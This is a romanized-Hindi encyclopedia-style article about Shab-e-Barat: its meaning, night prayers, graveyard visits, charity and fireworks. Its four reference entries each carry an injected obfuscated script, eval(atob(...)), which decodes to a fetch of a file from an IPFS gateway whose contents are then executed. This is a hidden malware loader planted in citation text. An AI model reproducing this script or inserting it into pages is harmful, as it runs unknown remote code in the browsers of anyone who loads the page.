शबबरात
shababarat
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| any nam | lailatul barat |
| anuyayi | muslim |
| uddeshy | apane nate-rishtedaroan ko jannat (svarg) nasib ho isalie is rat unaki nijat (gunahoan se mafi ya moksh) ke lie allah se guzarish ki jati hai. |
| tithi | 'shaban' ki 14 tarikh ya 15 tarikh |
| utsav | log ratabhar jagakar namaz padhate haian aur quran ki ayatean padhakar apane azizoan ko bakhshate haian. is din poorvajoan ke nam se fatiha karakar gariboan ko khana khilane ka bhi chalan hai taki zarooratamandoan ke dil se nikali huee dua se marane valoan ke gunah maf ho sakean. |
| sanbandhit lekh | eed-ul-fitar, eed ul zuha |
| shabdarth | shababarat arabi ke do shabdoan ke mel se bana hai, shab arthat ratri aur barat arthat nijat. |
| any janakari | namaz, tilavat-e-quran, qabristan ki ziyarat aur haisiyat ke mutabiq khairat karana is rat ke aham kam haian. |
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shababarat (aangrezi: Shababarat) islamik kaileandar mean muslimoan ke athavean mah shaban ki chaudahavian ya pandrahavian rat ko kaha jata hai. yani vah rat, jab apane un nate-rishtedaroan ki rooh ke sukoon ke lie dua maangi jati hai, jo is duniya mean nahian hai. kahate haian ki is rat ko farishte sabako bhojan baantate haian. ayu ka hisab lagate haian. is din dua maangate haian aur nyaz karate haian. rat mean atishabaji bhi chho date haian.[1]
shababarat arabi ke do shabdoan ke mel se bana hai, shab arthat ratri aur barat arthat nijat. shababarat ka doosara nam 'lailatul barat' bhi hai, jisaka arth bhi magafirat yani gunahoan se mafi aur nijat ki rat hai.[2] ise islam ke pravartak hazarat muhammad ne rahamat ki rat batalaya hai. shababarat ki rat ko srishtikarta ane vale ek sal ke lie har adami ke vaste ayu, asabab, yash-kirti se lekar sab kuchh tay karata hai. is rat srishtikarta se jo jitana maangata hai, utana pata hai.
apane nate-rishtedaroan ko jannat (svarg) nasib ho isalie is rat unaki nijat (gunahoan se mafi ya moksh) ke lie allah se guzarish ki jati hai. is din shiya aur sunni donoan samuday qabristan jakar apane-apane poorvajoan ki qabroan par charagaan (roshani) karate haian aur phool-malaean chadhate haian. mana jata hai ki mrit log apane parijanoan se yah asha karate haian ki ve unake lie allah ki pak kitab quran ki ayatean padhakar bakhshean taki jannat mean unake lie jagah ho sake. isi niyat se log ratabhar jagakar namaz padhate haian aur quran ki ayatean padhakar apane azizoan ko bakhshate haian. is din poorvajoan ke nam se fatiha karakar gariboan ko khana khilane ka bhi chalan hai taki zarooratamandoan ke dil se nikali huee dua se marane valoan ke gunah maf ho sakean.
hazarat muhammad ne kaha
hadis bukhari mean akhiri paiganbar hazarat muhammad sallallaho alaihi vasallam ne apane sahaba se kaha tha ki qabristan jakar dua zaroor padho. yahi tumhari asali jagah hai. yahaan sabhi ko marane ke bad ana hi hai. isalie us sthan par jakar apani maut ko zaroor yad karo.[3]
bharat se bahar
arab mulkoan se itar bharat, pakistan v baangladesh mean rahane vale musalaman shababarat ko lekar do vargo mean bante najar ate haian. dharmik pravritti ke log shababarat ke avasar par masjidoan mean poori rat ibadat mean gujarate haian tatha agale din roza rakhate haian. doosare varg se talluk rakhane vale log shababarat ka matalab chhootane ya mukti ki rat ke sthan par chho dane (atishabazi chhu dane ki rat) ki rat batate hue ibadat ki kimati rat ko patakhe chho dane mean gujarate haian.[4]
karmoan ka lekha-jokha
pichhale sal kie ge karmoan ka lekha-jokha taiyar karane aur ane vale sal ki taqadir tay karane vali is rat ko shababarat kaha jata hai. is rat ko poori tarah ibadat mean guhzarane ki paranpara hai. namaz, tilavat-e-quran, qabristan ki ziyarat aur haisiyat ke mutabiq khairat karana is rat ke aham kam haian.
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tika tippani aur sandarbh
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 563, parishisht 'gh' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ gunahoan se nijat ki rat, aj hai 'shababarat' (hindi) (ech.ti.em.el) meri khabar.k aaum. abhigaman tithi: 26 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shababarat : masjidoan mean dua ke lie uthe hazaroan hath (hindi) (ech.ti.em.el) jagaran yahoo.k aaum. abhigaman tithi: 26 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shababarat mean hote haian gunah maph (hindi) (ech.ti.em.el) jagaran yahoo.k aaum. abhigaman tithi: 26 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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